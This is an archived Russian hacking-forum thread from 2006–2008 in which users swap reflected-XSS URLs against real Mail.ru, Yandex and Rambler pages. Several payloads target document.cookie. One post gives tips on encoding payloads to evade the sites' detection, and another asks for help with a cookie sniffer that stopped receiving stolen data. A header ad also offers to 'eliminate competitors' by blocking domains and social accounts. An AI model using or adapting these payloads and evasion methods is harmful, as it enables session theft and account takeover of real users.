УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > E-Mail
XSS mail.ru rambler.ru

Страница 7 из 7

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#61

12.12.2006, 22:41

~~abashkin~~

Banned

Регистрация: 09.07.2006

Сообщений: 3

Провел на форуме:
17495

Репутация: -18

Я думаю нужно как то обходить этого стукача-отлавливателя.....иначе неодна xss непродержится долгл..даже если одни запрос или отчёт пришёл что на такой то такой то странице был замечен <script></script> то всё уже...

#62

13.12.2006, 00:13

m17

Новичок

Регистрация: 05.12.2006

Сообщений: 22

Провел на форуме:
32556

Репутация: 6

Цитата:

Сообщение от abashkin

ни в коем случае не отправлять открытым текстом, закодировать ессесена, табуляций навтыкать, проблема только в том что написание скрипта который избавиться от всего этого мусора не составляет труда, и поэтому если уж они таким образом что-то отлавливают, то должно быть это сделано положенным образом...

#63

13.12.2006, 22:43

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

Провел на форуме:
6520559

Репутация: 2947

Постараюсь как можно короче!....
Кто знает тот поймёт!

http://top.mail.ru/stat/index.php?url="><script>alert(document.cookie)</script>

#64

14.12.2006, 15:47

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

Провел на форуме:
6860213

Репутация: 378

XSS на Яндексе, можеет кому-нибудь пригодиться...:

Код:

http://afisha.yandex.ru/reviews.xml?event_id=14913381&city=%22%3E%3Cscript%3Ealert()%3C/script%3E

И еше на Рамблере:

Код:

http://vision.rambler.ru/actions/piece.html?album=1%22%3E%3Cscript%3Ealert()%3C/script%3E

#65

14.12.2006, 19:02

slider

Members of Antichat - Level 5

Регистрация: 04.09.2005

Сообщений: 528

Провел на форуме:
6520559

Репутация: 2947

Ток что нашол http://foto.rambler.ru/topics/7316410/date/?p=15"><script>alert(document.cookie)</script>

#66

10.07.2007, 10:01

4nob1oz

Познающий

Регистрация: 09.07.2007

Сообщений: 42

Провел на форуме:
88752

Репутация: 72

http://icq.rambler.ru/srch?words=%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

#67

05.12.2008, 13:20

Campers

Новичок

Регистрация: 25.11.2008

Сообщений: 3

Провел на форуме:
7881

Репутация: 0

у меня беда. все сделал правильно. тестировал работает или нет, все нормально пришло на снифер http://na-s.ru и все после этого уже больше не сливало нечего на снифер, пишет база пуста и все, как исправить?? мб из-за браузера??